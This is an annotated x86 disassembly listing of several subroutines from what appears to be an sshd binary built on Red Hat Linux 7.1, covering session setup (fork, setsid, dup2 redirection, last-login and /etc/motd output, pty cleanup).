0804cde0  79 10                    jns     0804cdf2 <Unknown0013+0x14e>
0804cde2  83 ec 0c                 sub     $0xc,%esp
0804cde5  68 59 d2 06 08           push    $0x806d259   ;[in .rodata] 846230884 'x64 x75 x70 x32' "dup2 stdout"
0804cdea  e8 fd ce ff ff           call    08049cec <perror>
0804cdef  83 c4 10                 add     $0x10,%esp
0804cdf2  83 ec 0c                 sub     $0xc,%esp
0804cdf5  ff 76 04                 pushl   0x4(%esi)
0804cdf8  e8 df ce ff ff           call    08049cdc <close>
0804cdfd  5a                       pop     %edx
0804cdfe  ff 75 d8                 pushl   0xffffffd8(%ebp)
0804ce01  e8 d6 ce ff ff           call    08049cdc <close>
0804ce06  59                       pop     %ecx
0804ce07  58                       pop     %eax
0804ce08  6a 02                    push    $0x2
0804ce0a  ff 73 04                 pushl   0x4(%ebx)
0804ce0d  e8 7a d3 ff ff           call    0804a18c <dup2>
0804ce12  83 c4 10                 add     $0x10,%esp
0804ce15  85 c0                    test    %eax,%eax
0804ce17  79 10                    jns     0804ce29 <Unknown0013+0x185>
0804ce19  83 ec 0c                 sub     $0xc,%esp
0804ce1c  68 65 d2 06 08           push    $0x806d265   ;[in .rodata] 846230884 'x64 x75 x70 x32' "dup2 stderr"
0804ce21  e8 c6 ce ff ff           call    08049cec <perror>
0804ce26  83 c4 10                 add     $0x10,%esp
0804ce29  83 ec 0c                 sub     $0xc,%esp
0804ce2c  ff 73 04                 pushl   0x4(%ebx)
0804ce2f  e8 a8 ce ff ff           call    08049cdc <close>
0804ce34  83 c4 0c                 add     $0xc,%esp
0804ce37  6a 00                    push    $0x0
0804ce39  ff 75 18                 pushl   0x18(%ebp)
0804ce3c  ff 75 14                 pushl   0x14(%ebp)
0804ce3f  ff 75 10                 pushl   0x10(%ebp)
0804ce42  6a 00                    push    $0x0
0804ce44  ff 75 0c                 pushl   0xc(%ebp)
0804ce47  ff 75 08                 pushl   0x8(%ebp)
```

```
0804ce4a   e8 0d 07 00 00        call    0804d55c <Unknown0018>
0804ce4f   83 c4 20              add     $0x20,%esp
0804ce52   85 ff                 test    %edi,%edi
0804ce54   79 20                 jns     0804ce76 <Unknown0013+0x1d2>
0804ce56   83 ec 10              sub     $0x10,%esp
0804ce59   e8 de cf ff ff        call    08049e3c <__errno_location>
0804ce5e   5a                    pop     %edx
0804ce5f   ff 30                 pushl   (%eax)
0804ce61   e8 86 cf ff ff        call    08049dec <strerror>
0804ce66   5a                    pop     %edx
0804ce67   59                    pop     %ecx
0804ce68   50                    push    %eax
0804ce69   68 71 d2 06 08        push    $0x806d271   ;[in .rodata] 1802661734 'x66 x6f x72 x6b' "fork
                                                        failed: %.100s"
0804ce6e   e8 6d 99 00 00        call    080567e0 <Unknown0157>
0804ce73   83 c4 10              add     $0x10,%esp
0804ce76   83 ec 0c              sub     $0xc,%esp
0804ce79   ff 75 e8              pushl   0xffffffe8(%ebp)
0804ce7c   e8 5b ce ff ff        call    08049cdc <close>
0804ce81   58                    pop     %eax
0804ce82   ff 76 04              pushl   0x4(%esi)
0804ce85   e8 52 ce ff ff        call    08049cdc <close>
0804ce8a   5e                    pop     %esi
0804ce8b   ff 73 04              pushl   0x4(%ebx)
0804ce8e   e8 49 ce ff ff        call    08049cdc <close>
0804ce93   c7 04 24 00 00 00 00  movl    $0x0,(%esp,1)   ;0 'x0 x0 x0 x0' ""
0804ce9a   ff 75 d8              pushl   0xffffffd8(%ebp)
0804ce9d   ff 75 e0              pushl   0xffffffe0(%ebp)
0804cea0   8b 45 d4              mov     0xffffffd4(%ebp),%eax
0804cea3   ff 70 04              pushl   0x4(%eax)
0804cea6   57                    push    %edi
0804cea7   e8 54 5e 00 00        call    08052d00 <Unknown0074>
0804ceac   8d 65 f4              lea     0xfffffff4(%ebp),%esp
0804ceaf   5b                    pop     %ebx
0804ceb0   5e                    pop     %esi
0804ceb1   5f                    pop     %edi
0804ceb2   5d                    pop     %ebp
0804ceb3   c3                    ret


   ;
   ; >---------------------<  Subroutine #  14 >---------------------<
   ;
0804ceb4 <Unknown0014>:
0804ceb4   55                    push    %ebp
0804ceb5   89 e5                 mov     %esp,%ebp
0804ceb7   53                    push    %ebx
0804ceb8   53                    push    %ebx
0804ceb9   8b 5d 08              mov     0x8(%ebp),%ebx
0804cebc   8b 4b 08              mov     0x8(%ebx),%ecx
0804cebf   85 c9                 test    %ecx,%ecx
0804cec1   74 11                 je      0804ced4 <Unknown0014+0x20>
0804cec3   c7 45 08 a0 d2 06 08  movl    $0x806d2a0,0x8(%ebp)   ;[in .rodata] 1601795184 'x70 x74 x79 x5f'
                                                        "pty_cleanup_proc called again, ignored"
0804ceca   8b 5d fc              mov     0xfffffffc(%ebp),%ebx
0804cecd   c9                    leave
0804cece   e9 ad 2e 00 00        jmp     0804fd80 <Unknown0039>   ;11949 'xad x2e x0 x0' ""
0804ced3   90                    nop
0804ced4   83 ec 0c              sub     $0xc,%esp
0804ced7   68 c7 d2 06 08        push    $0x806d2c7   ;[in .rodata] 1601795184 'x70 x74 x79 x5f'
                                                        "pty_cleanup_proc called"
0804cedc   e8 9f 2e 00 00        call    0804fd80 <Unknown0039>
0804cee1   58                    pop     %eax
0804cee2   5a                    pop     %edx
0804cee3   ff 33                 pushl   (%ebx)
0804cee5   ff 73 04              pushl   0x4(%ebx)
0804cee8   e8 b7 34 00 00        call    080503a4 <Unknown0048>
0804ceed   59                    pop     %ecx
0804ceee   ff 33                 pushl   (%ebx)
0804cef0   e8 e7 29 00 00        call    0804f8dc <Unknown0032>
0804cef5   83 c4 10              add     $0x10,%esp
0804cef8   c7 43 08 01 00 00 00  movl    $0x1,0x8(%ebx)   ;1 'x1 x0 x0 x0' ""
0804ceff   8b 5d fc              mov     0xfffffffc(%ebp),%ebx
0804cf02   c9                    leave
0804cf03   c3                    ret


   ;
   ; >---------------------<  Subroutine #  15 >---------------------<
   ;
0804cf04 <Unknown0015>:
0804cf04   55                    push    %ebp
0804cf05   89 e5                 mov     %esp,%ebp
0804cf07   57                    push    %edi
```

```
0804cf08   56                           push    %esi
0804cf09   53                           push    %ebx
0804cf0a   81 ec 0c 02 00 00            sub     $0x20c,%esp   ;524 'xc x2 x0 x0' ""
0804cf10   c7 85 f0 fd ff ff 00 00 00 00  movl   $0x0,0xfffffdf0(%ebp)  ;0 'x0 x0 x0 x0' ""
0804cf1a   e8 11 1a 01 00               call    0805e930 <Unknown0276>
0804cf1f   e8 08 3d 00 00               call    08050c2c <Unknown0055>
0804cf24   6a 64                        push    $0x64
0804cf26   89 85 ec fd ff ff            mov     %eax,0xfffffdec(%ebp)  ;-532 'xec xfd xff xff' ""
0804cf2c   8d 85 78 ff ff ff            lea     0xffffff78(%ebp),%eax  ;-136 'x78 xff xff xff' "x"
0804cf32   50                           push    %eax
0804cf33   c6 85 78 ff ff ff 00         movb    $0x0,0xffffff78(%ebp)  ;-136 'x78 xff xff xff' "x"
0804cf3a   8b 45 18                     mov     0x18(%ebp),%eax
0804cf3d   ff 30                        pushl   (%eax)
0804cf3f   c7 05 d8 db 07 08 00 00 00 00  movl   $0x0,0x807dbd8  ;0 'x0 x0 x0 x0' ""
0804cf49   ff 70 08                     pushl   0x8(%eax)
0804cf4c   e8 3f 31 00 00               call    08050090 <Unknown0046>
0804cf51   83 c4 10                     add     $0x10,%esp
0804cf54   89 85 f0 fd ff ff            mov     %eax,0xfffffdf0(%ebp)  ;-528 'xf0 xfd xff xff' ""
0804cf5a   e8 ad cd ff ff               call    08049d0c <fork>
0804cf5f   89 c7                        mov     %eax,%edi
0804cf61   85 ff                        test    %edi,%edi
0804cf63   0f 85 47 03 00 00            jne     0804d2b0 <Unknown0015+0x3ac>  ;839 'x47 x3 x0 x0' "G"
0804cf69   e8 1e cd ff ff               call    08049c8c <getpid>
0804cf6e   83 ec 0c                     sub     $0xc,%esp
0804cf71   ff 35 ac db 07 08            pushl   0x807dbac  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804cf77   8b 1d 94 7b 07 08            mov     0x8077b94,%ebx  ;[in .data] 0 'x0 x0 x0 x0' ""
0804cf7d   89 c7                        mov     %eax,%edi
0804cf7f   ff 35 8c db 07 08            pushl   0x807db8c  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804cf85   31 c0                        xor     %eax,%eax
0804cf87   85 db                        test    %ebx,%ebx
0804cf89   ff 35 94 7b 07 08            pushl   0x8077b94  ;[in .data] 0 'x0 x0 x0 x0' ""
0804cf8f   74 0f                        je      0804cfa0 <Unknown0015+0x9c>
0804cf91   8b 0d 98 7b 07 08            mov     0x8077b98,%ecx  ;[in .data] 0 'x0 x0 x0 x0' ""
0804cf97   85 c9                        test    %ecx,%ecx
0804cf99   75 05                        jne     0804cfa0 <Unknown0015+0x9c>
0804cf9b   b8 01 00 00 00               mov     $0x1,%eax  ;1 'x1 x0 x0 x0' ""
0804cfa0   50                           push    %eax
0804cfa1   ff 35 34 fc 07 08            pushl   0x807fc34  ;[in .bss] 0 'x0 x0 x0 x0' ""
0804cfa7   e8 6c 2b 00 00               call    0804fb18 <Unknown0035>
0804cfac   83 c4 20                     add     $0x20,%esp
0804cfaf   e8 78 cf ff ff               call    08049f2c <setsid>
0804cfb4   85 c0                        test    %eax,%eax
0804cfb6   79 20                        jns     0804cfd8 <Unknown0015+0xd4>
0804cfb8   83 ec 10                     sub     $0x10,%esp
0804cfbb   e8 7c ce ff ff               call    08049e3c <__errno_location>
0804cfc0   5a                           pop     %edx
0804cfc1   ff 30                        pushl   (%eax)
0804cfc3   e8 24 ce ff ff               call    08049dec <strerror>
0804cfc8   5b                           pop     %ebx
0804cfc9   5e                           pop     %esi
0804cfca   50                           push    %eax
0804cfcb   68 3f d2 06 08               push    $0x806d23f  ;[in .rodata] 1937007987 'x73 x65 x74 x73' "setsid:
                                                              %.100s"
0804cfd0   e8 33 2e 00 00               call    0804fe08 <Unknown0040>
0804cfd5   83 c4 10                     add     $0x10,%esp
0804cfd8   83 ec 0c                     sub     $0xc,%esp
0804cfdb   ff 75 0c                     pushl   0xc(%ebp)
0804cfde   e8 f9 cc ff ff               call    08049cdc <close>
0804cfe3   5a                           pop     %edx
0804cfe4   59                           pop     %ecx
0804cfe5   ff 75 14                     pushl   0x14(%ebp)
0804cfe8   8d 45 10                     lea     0x10(%ebp),%eax
0804cfeb   50                           push    %eax
0804cfec   e8 67 29 00 00               call    0804f958 <Unknown0033>
0804cff1   58                           pop     %eax
0804cff2   ff 35 14 9c 07 08            pushl   0x8079c14  ;[in .bss] 859254832 'x30 x30 x37 x33' "00731 (Red Hat
                                                              Linux 7.1 2.96-79)"
0804cff8   e8 bf cc ff ff               call    08049cbc <fileno>
0804cffd   5b                           pop     %ebx
0804cffe   5e                           pop     %esi
0804cfff   50                           push    %eax
0804d000   ff 75 10                     pushl   0x10(%ebp)
0804d003   e8 84 d1 ff ff               call    0804a18c <dup2>
0804d008   83 c4 10                     add     $0x10,%esp
0804d00b   85 c0                        test    %eax,%eax
0804d00d   79 20                        jns     0804d02f <Unknown0015+0x12b>
0804d00f   83 ec 10                     sub     $0x10,%esp
0804d012   e8 25 ce ff ff               call    08049e3c <__errno_location>
0804d017   59                           pop     %ecx
0804d018   ff 30                        pushl   (%eax)
0804d01a   e8 cd cd ff ff               call    08049dec <strerror>
0804d01f   5e                           pop     %esi
0804d020   5a                           pop     %edx
0804d021   50                           push    %eax
```

```
0804d022  68 df d2 06 08           push    $0x806d2df  ;[in .rodata] 846230884 'x64 x75 x70 x32' "dup2 stdin
                                                        failed: %.100s"
0804d027  e8 dc 2d 00 00           call    0804fe08 <Unknown0040>
0804d02c  83 c4 10                 add     $0x10,%esp
0804d02f  83 ec 0c                 sub     $0xc,%esp
0804d032  ff 35 08 9c 07 08        pushl   0x8079c08   ;[in .bss] 539579726 'x4e x55 x29 x20' "NU) 2.96
                                                        20000731 (Red Hat Linux 7.1 2.96-79)"
0804d038  e8 7f cc ff ff           call    08049cbc <fileno>
0804d03d  59                       pop     %ecx
0804d03e  5b                       pop     %ebx
0804d03f  50                       push    %eax
0804d040  ff 75 10                 pushl   0x10(%ebp)
0804d043  e8 44 d1 ff ff           call    0804a18c <dup2>
0804d048  83 c4 10                 add     $0x10,%esp
0804d04b  85 c0                    test    %eax,%eax
0804d04d  79 20                    jns     0804d06f <Unknown0015+0x16b>
0804d04f  83 ec 10                 sub     $0x10,%esp
0804d052  e8 e5 cd ff ff           call    08049e3c <__errno_location>
0804d057  5a                       pop     %edx
0804d058  ff 30                    pushl   (%eax)
0804d05a  e8 8d cd ff ff           call    08049dec <strerror>
0804d05f  5b                       pop     %ebx
0804d060  5e                       pop     %esi
0804d061  50                       push    %eax
0804d062  68 df d2 06 08           push    $0x806d2df  ;[in .rodata] 846230884 'x64 x75 x70 x32' "dup2 stdin
                                                        failed: %.100s"
0804d067  e8 9c 2d 00 00           call    0804fe08 <Unknown0040>
0804d06c  83 c4 10                 add     $0x10,%esp
0804d06f  83 ec 0c                 sub     $0xc,%esp
0804d072  ff 35 0c 9c 07 08        pushl   0x8079c0c   ;[in .bss] 909717042 'x32 x2e x39 x36' "2.96 20000731
                                                        (Red Hat Linux 7.1 2.96-79)"
0804d078  e8 3f cc ff ff           call    08049cbc <fileno>
0804d07d  5a                       pop     %edx
0804d07e  59                       pop     %ecx
0804d07f  50                       push    %eax
0804d080  ff 75 10                 pushl   0x10(%ebp)
0804d083  e8 04 d1 ff ff           call    0804a18c <dup2>
0804d088  83 c4 10                 add     $0x10,%esp
0804d08b  85 c0                    test    %eax,%eax
0804d08d  79 20                    jns     0804d0af <Unknown0015+0x1ab>
0804d08f  83 ec 10                 sub     $0x10,%esp
0804d092  e8 a5 cd ff ff           call    08049e3c <__errno_location>
0804d097  5e                       pop     %esi
0804d098  ff 30                    pushl   (%eax)
0804d09a  e8 4d cd ff ff           call    08049dec <strerror>
0804d09f  59                       pop     %ecx
0804d0a0  5b                       pop     %ebx
0804d0a1  50                       push    %eax
0804d0a2  68 df d2 06 08           push    $0x806d2df  ;[in .rodata] 846230884 'x64 x75 x70 x32' "dup2 stdin
                                                        failed: %.100s"
0804d0a7  e8 5c 2d 00 00           call    0804fe08 <Unknown0040>
0804d0ac  83 c4 10                 add     $0x10,%esp
0804d0af  83 ec 0c                 sub     $0xc,%esp
0804d0b2  ff 75 10                 pushl   0x10(%ebp)
0804d0b5  e8 22 cc ff ff           call    08049cdc <close>
0804d0ba  83 c4 10                 add     $0x10,%esp
0804d0bd  c7 85 08 fe ff ff 00 00 00 00  movl  $0x0,0xfffffe08(%ebp)  ;0 'x0 x0 x0 x0' ""
0804d0c7  c7 85 0c fe ff ff 00 00 00 00  movl  $0x0,0xfffffe0c(%ebp)  ;0 'x0 x0 x0 x0' ""
0804d0d1  c7 85 10 fe ff ff 00 00 00 00  movl  $0x0,0xfffffe10(%ebp)  ;0 'x0 x0 x0 x0' ""
0804d0db  c7 85 14 fe ff ff 00 00 00 00  movl  $0x0,0xfffffe14(%ebp)  ;0 'x0 x0 x0 x0' ""
0804d0e5  e8 7a 8c 00 00           call    08055d64 <Unknown0129>
0804d0ea  89 c3                    mov     %eax,%ebx
0804d0ec  e8 7f 8c 00 00           call    08055d70 <Unknown0130>
0804d0f1  39 c3                    cmp     %eax,%ebx
0804d0f3  8d b5 08 fe ff ff        lea     0xfffffe08(%ebp),%esi  ;-504 'x8 xfe xff xff' ""
0804d0f9  75 48                    jne     0804d143 <Unknown0015+0x23f>
0804d0fb  52                       push    %edx
0804d0fc  8d 85 f4 fd ff ff        lea     0xfffffdf4(%ebp),%eax  ;-524 'xf4 xfd xff xff' ""
0804d102  50                       push    %eax
0804d103  56                       push    %esi
0804d104  50                       push    %eax
0804d105  c7 85 f4 fd ff ff 10 00 00 00  movl  $0x10,0xfffffdf4(%ebp)  ;16 'x10 x0 x0 x0' ""
0804d10f  e8 50 8c 00 00           call    08055d64 <Unknown0129>
0804d114  89 04 24                 mov     %eax,(%esp,1)
0804d117  e8 40 cf ff ff           call    0804a05c <getpeername>
0804d11c  83 c4 10                 add     $0x10,%esp
0804d11f  85 c0                    test    %eax,%eax
0804d121  79 20                    jns     0804d143 <Unknown0015+0x23f>
0804d123  83 ec 10                 sub     $0x10,%esp
0804d126  e8 11 cd ff ff           call    08049e3c <__errno_location>
0804d12b  5e                       pop     %esi
0804d12c  ff 30                    pushl   (%eax)
0804d12e  e8 b9 cc ff ff           call    08049dec <strerror>
0804d133  59                       pop     %ecx
```

```
0804d134  5b                          pop     %ebx
0804d135  50                          push    %eax
0804d136  68 f9 d2 06 08              push    $0x806d2f9  ;[in .rodata] 1886676327 'x67 x65 x74 x70'
                                                          "getpeername: %.100s"
0804d13b  e8 1c 2e 00 00              call    0804ff5c <Unknown0044>
0804d140  83 c4 10                    add     $0x10,%esp
0804d143  83 ec 08                    sub     $0x8,%esp
0804d146  8d 85 08 fe ff ff           lea     0xfffffe08(%ebp),%eax   ;-504 'x8 xfe xff xff' ""
0804d14c  50                          push    %eax
0804d14d  ff b5 ec fd ff ff           pushl   0xfffffdec(%ebp)   ;-532 'xec xfd xff xff' ""
0804d153  8b 45 18                    mov     0x18(%ebp),%eax
0804d156  ff 70 08                    pushl   0x8(%eax)
0804d159  ff 30                       pushl   (%eax)
0804d15b  ff 75 14                    pushl   0x14(%ebp)
0804d15e  57                          push    %edi
0804d15f  e8 e0 2f 00 00              call    08050144 <Unknown0047>
0804d164  83 c4 20                    add     $0x20,%esp
0804d167  8b 45 18                    mov     0x18(%ebp),%eax
0804d16a  ff 70 14                    pushl   0x14(%eax)
0804d16d  68 0d d3 06 08              push    $0x806d30d  ;[in .rodata] 808594981 'x25 x2e x32 x30'
                                                          "%.200s/.hushlogin"
0804d172  68 00 01 00 00              push    $0x100  ;256 'x0 x1 x0 x0' ""
0804d177  8d 9d 78 fe ff ff           lea     0xfffffe78(%ebp),%ebx   ;-392 'x78 xfe xff xff' "x"
0804d17d  53                          push    %ebx
0804d17e  e8 59 d1 ff ff              call    0804a2dc <snprintf>
0804d183  83 c4 0c                    add     $0xc,%esp
0804d186  8d 85 18 fe ff ff           lea     0xfffffe18(%ebp),%eax   ;-488 'x18 xfe xff xff' ""
0804d18c  50                          push    %eax
0804d18d  53                          push    %ebx
0804d18e  6a 03                       push    $0x3
0804d190  e8 97 ce ff ff              call    0804a02c <__xstat>
0804d195  89 c6                       mov     %eax,%esi
0804d197  f7 d6                       not     %esi
0804d199  a1 d8 db 07 08              mov     0x807dbd8,%eax   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804d19e  83 c4 10                    add     $0x10,%esp
0804d1a1  c1 ee 1f                    shr     $0x1f,%esi
0804d1a4  85 c0                       test    %eax,%eax
0804d1a6  75 77                       jne     0804d21f <Unknown0015+0x31b>
0804d1a8  8b 55 08                    mov     0x8(%ebp),%edx
0804d1ab  85 d2                       test    %edx,%edx
0804d1ad  75 70                       jne     0804d21f <Unknown0015+0x31b>
0804d1af  8b 9d f0 fd ff ff           mov     0xfffffdf0(%ebp),%ebx   ;-528 'xf0 xfd xff xff' ""
0804d1b5  85 db                       test    %ebx,%ebx
0804d1b7  74 66                       je      0804d21f <Unknown0015+0x31b>
0804d1b9  85 f6                       test    %esi,%esi
0804d1bb  75 62                       jne     0804d21f <Unknown0015+0x31b>
0804d1bd  83 ec 0c                    sub     $0xc,%esp
0804d1c0  8d 85 f0 fd ff ff           lea     0xfffffdf0(%ebp),%eax   ;-528 'xf0 xfd xff xff' ""
0804d1c6  50                          push    %eax
0804d1c7  e8 b0 d0 ff ff              call    0804a27c <ctime>
0804d1cc  5a                          pop     %edx
0804d1cd  59                          pop     %ecx
0804d1ce  6a 0a                       push    $0xa
0804d1d0  89 c3                       mov     %eax,%ebx
0804d1d2  53                          push    %ebx
0804d1d3  e8 84 ca ff ff              call    08049c5c <strchr>
0804d1d8  83 c4 10                    add     $0x10,%esp
0804d1db  85 c0                       test    %eax,%eax
0804d1dd  74 11                       je      0804d1f0 <Unknown0015+0x2ec>
0804d1df  83 ec 08                    sub     $0x8,%esp
0804d1e2  6a 0a                       push    $0xa
0804d1e4  53                          push    %ebx
0804d1e5  e8 72 ca ff ff              call    08049c5c <strchr>
0804d1ea  83 c4 10                    add     $0x10,%esp
0804d1ed  c6 00 00                    movb    $0x0,(%eax)
0804d1f0  80 bd 78 ff ff ff 00        cmpb    $0x0,0xffffff78(%ebp)   ;-136 'x78 xff xff xff' "x"
0804d1f7  75 0b                       jne     0804d204 <Unknown0015+0x300>
0804d1f9  83 ec 08                    sub     $0x8,%esp
0804d1fc  53                          push    %ebx
0804d1fd  68 1f d3 06 08              push    $0x806d31f  ;[in .rodata] 1953718604 'x4c x61 x73 x74' "Last login:
                                                          %.100s"
0804d202  eb 0e                       jmp     0804d212 <Unknown0015+0x30e>
0804d204  50                          push    %eax
0804d205  8d 85 78 ff ff ff           lea     0xffffff78(%ebp),%eax   ;-136 'x78 xff xff xff' "x"
0804d20b  50                          push    %eax
0804d20c  53                          push    %ebx
0804d20d  68 40 d3 06 08              push    $0x806d340  ;[in .rodata] 1953718604 'x4c x61 x73 x74' "Last login:
                                                          %.100s from %.200s"
0804d212  e8 d5 cf ff ff              call    0804a1ec <printf>
0804d217  83 c4 10                    add     $0x10,%esp
0804d21a  a1 d8 db 07 08              mov     0x807dbd8,%eax   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804d21f  85 c0                       test    %eax,%eax
0804d221  75 6f                       jne     0804d292 <Unknown0015+0x38e>
0804d223  8b 4d 08                    mov     0x8(%ebp),%ecx
```

```
0804d226   85 c9                     test    %ecx,%ecx
0804d228   75 68                     jne     0804d292 <Unknown0015+0x38e>
0804d22a   8b 15 94 db 07 08         mov     0x807db94,%edx   ;[in .bss] 0 'x0 x0 x0 x0' ""
0804d230   85 d2                     test    %edx,%edx
0804d232   74 5e                     je      0804d292 <Unknown0015+0x38e>
0804d234   85 f6                     test    %esi,%esi
0804d236   75 5a                     jne     0804d292 <Unknown0015+0x38e>
0804d238   83 ec 08                  sub     $0x8,%esp
0804d23b   68 61 d3 06 08            push    $0x806d361   ;[in .rodata] 1697579122 'x72 x0 x2f x65' "r"
0804d240   68 63 d3 06 08            push    $0x806d363   ;[in .rodata] 1668572463 'x2f x65 x74 x63' "/etc/motd"
0804d245   e8 92 d1 ff ff            call    0804a3dc <fopen>
0804d24a   89 c6                     mov     %eax,%esi
0804d24c   83 c4 10                  add     $0x10,%esp
0804d24f   85 f6                     test    %esi,%esi
0804d251   74 3f                     je      0804d292 <Unknown0015+0x38e>
0804d253   8d 9d 78 fe ff ff         lea     0xfffffe78(%ebp),%ebx   ;-392 'x78 xfe xff xff' "x"
0804d259   eb 13                     jmp     0804d26e <Unknown0015+0x36a>
0804d25b   90                        nop
0804d25c   83 ec 08                  sub     $0x8,%esp
0804d25f   ff 35 08 9c 07 08         pushl   0x8079c08   ;[in .bss] 539579726 'x4e x55 x29 x20' "NU) 2.96
                                                           20000731 (Red Hat Linux 7.1 2.96-79)"
0804d265   53                        push    %ebx
0804d266   e8 61 ce ff ff            call    0804a0cc <fputs>
0804d26b   83 c4 10                  add     $0x10,%esp
0804d26e   50                        push    %eax
0804d26f   56                        push    %esi
0804d270   68 00 01 00 00            push    $0x100   ;256 'x0 x1 x0 x0' ""
0804d275   53                        push    %ebx
0804d276   e8 31 ce ff ff            call    0804a0ac <fgets>
0804d27b   83 c4 10                  add     $0x10,%esp
0804d27e   85 c0                     test    %eax,%eax
0804d280   0f 85 d6 ff ff ff         jne     0804d25c <Unknown0015+0x358>   ;-42 'xd6 xff xff xff' ""
0804d286   83 ec 0c                  sub     $0xc,%esp
0804d289   56                        push    %esi
0804d28a   e8 bd cf ff ff            call    0804a24c <fclose>
0804d28f   83 c4 10                  add     $0x10,%esp
0804d292   56                        push    %esi
0804d293   ff 75 14                  pushl   0x14(%ebp)
0804d296   ff 75 28                  pushl   0x28(%ebp)
0804d299   ff 75 24                  pushl   0x24(%ebp)
0804d29c   ff 75 20                  pushl   0x20(%ebp)
0804d29f   ff 75 1c                  pushl   0x1c(%ebp)
0804d2a2   ff 75 18                  pushl   0x18(%ebp)
0804d2a5   ff 75 08                  pushl   0x8(%ebp)
0804d2a8   e8 af 02 00 00            call    0804d55c <Unknown0018>
0804d2ad   83 c4 20                  add     $0x20,%esp
0804d2b0   85 ff                     test    %edi,%edi
0804d2b2   79 20                     jns     0804d2d4 <Unknown0015+0x3d0>
0804d2b4   83 ec 10                  sub     $0x10,%esp
0804d2b7   e8 80 cb ff ff            call    08049e3c <__errno_location>
0804d2bc   5b                        pop     %ebx
0804d2bd   ff 30                     pushl   (%eax)
0804d2bf   e8 28 cb ff ff            call    08049dec <strerror>
0804d2c4   5a                        pop     %edx
0804d2c5   59                        pop     %ecx
0804d2c6   50                        push    %eax
0804d2c7   68 71 d2 06 08            push    $0x806d271   ;[in .rodata] 1802661734 'x66 x6f x72 x6b' "fork
                                                           failed: %.100s"
0804d2cc   e8 0f 95 00 00            call    080567e0 <Unknown0157>
0804d2d1   83 c4 10                  add     $0x10,%esp
0804d2d4   83 ec 0c                  sub     $0xc,%esp
0804d2d7   ff 75 10                  pushl   0x10(%ebp)
0804d2da   e8 fd c9 ff ff            call    08049cdc <close>
0804d2df   5e                        pop     %esi
0804d2e0   ff 75 0c                  pushl   0xc(%ebp)
0804d2e3   e8 04 d1 ff ff            call    0804a3ec <dup>
0804d2e8   89 c6                     mov     %eax,%esi
0804d2ea   83 c4 10                  add     $0x10,%esp
0804d2ed   85 f6                     test    %esi,%esi
0804d2ef   79 20                     jns     0804d311 <Unknown0015+0x40d>
0804d2f1   83 ec 10                  sub     $0x10,%esp
0804d2f4   e8 43 cb ff ff            call    08049e3c <__errno_location>
0804d2f9   5b                        pop     %ebx
0804d2fa   ff 30                     pushl   (%eax)
0804d2fc   e8 eb ca ff ff            call    08049dec <strerror>
0804d301   5a                        pop     %edx
0804d302   59                        pop     %ecx
0804d303   50                        push    %eax
0804d304   68 6d d3 06 08            push    $0x806d36d   ;[in .rodata] 544240996 'x64 x75 x70 x20' "dup failed:
                                                           %.100s"
0804d309   e8 d2 94 00 00            call    080567e0 <Unknown0157>
0804d30e   83 c4 10                  add     $0x10,%esp
0804d311   83 ec 08                  sub     $0x8,%esp
0804d314   8d 9d f8 fd ff ff         lea     0xfffffdf8(%ebp),%ebx   ;-520 'xf8 xfd xff xff' ""
```

```
0804d31a   53                              push    %ebx
0804d31b   8b 45 14                        mov     0x14(%ebp),%eax
0804d31e   68 b4 ce 04 08                  push    $0x804ceb4   ;-520 'xf8 xfd xff xff' ""
0804d323   89 85 f8 fd ff ff               mov     %eax,0xfffffdf8(%ebp)   ;-520 'xf8 xfd xff xff' ""
0804d329   89 bd fc fd ff ff               mov     %edi,0xfffffdfc(%ebp)   ;-516 'xfc xfd xff xff' ""
0804d32f   c7 85 00 fe ff ff 00 00 00 00   movl    $0x0,0xfffffe00(%ebp)   ;0 'x0 x0 x0 x0' ""
0804d339   e8 46 2b 00 00                  call    0804fe84 <Unknown0041>
0804d33e   89 1c 24                        mov     %ebx,(%esp,1)
0804d341   6a ff                           push    $0xffffffff
0804d343   56                              push    %esi
0804d344   ff 75 0c                        pushl   0xc(%ebp)
0804d347   57                              push    %edi
0804d348   e8 b3 59 00 00                  call    08052d00 <Unknown0074>
0804d34d   83 c4 18                        add     $0x18,%esp
0804d350   53                              push    %ebx
0804d351   68 b4 ce 04 08                  push    $0x804ceb4   ;0 'x0 x0 x0 x0' ""
0804d356   e8 59 2b 00 00                  call    0804feb4 <Unknown0042>
0804d35b   5e                              pop     %esi
0804d35c   58                              pop     %eax
0804d35d   ff 75 14                        pushl   0x14(%ebp)
0804d360   57                              push    %edi
0804d361   e8 3e 30 00 00                  call    080503a4 <Unknown0048>
0804d366   8d 65 f4                        lea     0xfffffff4(%ebp),%esp
0804d369   5b                              pop     %ebx
0804d36a   5e                              pop     %esi
0804d36b   5f                              pop     %edi
0804d36c   5d                              pop     %ebp
0804d36d   c3                              ret
0804d36e   89 f6                           mov     %esi,%esi


  ;
  ; >----------------------<  Subroutine #  16 >----------------------<
  ;
0804d370 <Unknown0016>:
0804d370   55                              push    %ebp
0804d371   89 e5                           mov     %esp,%ebp
0804d373   57                              push    %edi
0804d374   56                              push    %esi
0804d375   53                              push    %ebx
0804d376   83 ec 0c                        sub     $0xc,%esp
0804d379   8b 45 08                        mov     0x8(%ebp),%eax
0804d37c   8b 18                           mov     (%eax),%ebx
0804d37e   8b 7d 10                        mov     0x10(%ebp),%edi
0804d381   31 c0                           xor     %eax,%eax
0804d383   fc                              cld
0804d384   b9 ff ff ff ff                  mov     $0xffffffff,%ecx   ;-1 'xff xff xff xff' ""
0804d389   f2 ae                           repnz scas %es:(%edi),%al
0804d38b   8b 13                           mov     (%ebx),%edx
0804d38d   f7 d1                           not     %ecx
0804d38f   31 f6                           xor     %esi,%esi
0804d391   85 d2                           test    %edx,%edx
0804d393   8d 79 ff                        lea     0xffffffff(%ecx),%edi
0804d396   74 2c                           je      0804d3c4 <Unknown0016+0x54>
0804d398   50                              push    %eax
0804d399   57                              push    %edi
0804d39a   ff 75 10                        pushl   0x10(%ebp)
0804d39d   ff 34 b3                        pushl   (%ebx,%esi,4)
0804d3a0   e8 77 cd ff ff                  call    0804a11c <strncmp>
0804d3a5   83 c4 10                        add     $0x10,%esp
0804d3a8   85 c0                           test    %eax,%eax
0804d3aa   75 09                           jne     0804d3b5 <Unknown0016+0x45>
0804d3ac   8b 04 b3                        mov     (%ebx,%esi,4),%eax
0804d3af   80 3c 07 3d                     cmpb    $0x3d,(%edi,%eax,1)
0804d3b3   74 11                           je      0804d3c6 <Unknown0016+0x56>
0804d3b5   46                              inc     %esi
